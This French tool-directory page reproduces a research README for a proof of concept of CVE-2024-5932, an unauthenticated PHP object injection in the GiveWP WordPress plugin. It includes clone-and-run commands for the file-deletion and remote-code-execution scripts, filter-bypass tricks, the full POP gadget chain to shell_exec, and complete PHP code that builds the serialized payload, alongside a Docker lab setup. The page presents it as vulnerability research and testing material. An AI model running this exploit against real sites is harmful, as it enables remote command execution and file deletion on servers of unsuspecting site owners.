Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-5932 — GiveWP PHP Object Injection exploit | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2024-5932
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubeqstlab/cve-2024-5932

CVE-2024-5932

GiveWP PHP Object Injection exploit

Voir le dépôt
7810il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Cet article est une publication de recherche par EQSTLab.

❗❗ IMPORTANT ❗❗

Il existe actuellement de faux dépôts GitHub PoC qui exécutent xmrig. Consultez le lien ci-dessous pour plus d'informations :

URL1 : https://x.com/win3zz/status/1828704644987511107

URL2 : https://x.com/bornunique911/status/1828712791844524453

URL3 : https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 PoC de suppression arbitraire de fichiers et d'exécution de code à distance (RCE) ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Chronologie

25 août : PoC de suppression de fichiers CVE-2024-5932 téléchargé

26 août : Nous avons réussi à exécuter des commandes arbitraires en utilisant CVE-2024-5932, mais nous envisageons la divulgation en raison de l'impact.

27 août : Nous avons trouvé une analyse détaillée du PoC dans un article de Julien Ahrens de RCE Security et avons décidé de publier notre PoC RCE. Nous avons téléchargé un PoC RCE supplémentaire sous le nom CVE-2024-5932-rce.py.

Description

CVE-2024-5932 : Vulnérabilité d'injection d'objets PHP GiveWP description : Le plugin GiveWP Donation Plugin and Fundraising Platform pour WordPress est vulnérable à l'injection d'objets PHP dans toutes les versions jusqu'à la 3.14.1 incluse via la désérialisation d'entrées non fiables provenant du paramètre 'give_title'. Cela permet à des attaquants non authentifiés d'injecter un objet PHP. La présence supplémentaire d'une chaîne POP permet aux attaquants d'exécuter du code à distance et de supprimer des fichiers arbitraires.

Comment utiliser

Cloner le dépôt

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Installer les paquets

root@kitploit:~
pip install -r requirements.txt

Commande

root@kitploit:~
# Suppression arbitraire de fichiers
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Exécution de code à distance
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

Exemple

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Sortie

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Résultat

image 2

Environnement vulnérable

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Téléchargez ensuite le plugin GiveWP vulnérable :

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Décompressez le fichier zip du plugin GiveWP et copiez l'intégralité du fichier dans le répertoire « /var/www/html/wp-content/plugins ».

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Activez le plugin GiveWP

image

5. Ajoutez un nouveau message avec le plugin GiveWP et copiez le lien du message

image

6. Vérifiez le lien vulnérable

image

(Option) Configurer le fichier cible dans l'environnement Docker

Tout d'abord, accédez au shell wordpress avec la commande suivante :

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

Si le fichier appartient à root, il peut ne pas être supprimé en raison des permissions. Par conséquent, vous devez modifier le propriétaire du fichier de test avec la commande suivante :

root@kitploit:~
touch test && chown www-data test

image

Débogage avec PHPSTORM

Vous pouvez déboguer votre GiveWP en utilisant PHPSTORM.

1. Téléchargez xdebug dans votre WordPress (Docker) :

root@kitploit:~
pecl install xdebug

2. Ensuite, configurez le fichier php.ini de WordPress comme suit (Docker) :

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..Et vous pouvez ensuite déboguer votre WordPress.

3. Configurez PHPSTORM comme suit (Local) :

image image

4. Exemple PHPSTORM (par exemple, suppression arbitraire de fichiers TCPDF)

image

Analyse

Point vulnérable (includes/payments/class-give-payment.php)

À ce stade, la fonction get_meta() désérialise la valeur « give_title » précédemment enregistrée.

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Technique de contournement

strip_tags : remplacer les octets nuls -> en utilisant \0

stripslashes_deep : remplacer les antislashs -> en utilisant \\\\

Chaînage POP pour RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Return command string)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Scénario d'attaque

RCE via chaîne POP

La chaîne POP permet l'exécution de commandes à distance. image

Suppression arbitraire de fichiers

En utilisant TCPDF, vous pouvez exploiter la suppression arbitraire de fichiers.

Avertissement

Ce dépôt n'est pas destiné à être une exploitation d'injection d'objets pour CVE-2024-5932. Le but de ce projet est d'aider les personnes à en apprendre davantage sur cette vulnérabilité, et éventuellement à tester leurs propres applications.

EQST Insight

Nous publions une analyse des CVE et des malwares une fois par mois. Si vous êtes intéressé, veuillez suivre les liens ci-dessous pour consulter nos publications. https://www.skshieldus.com/eng/business/insight.do

Référence

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

Télécharger l’outil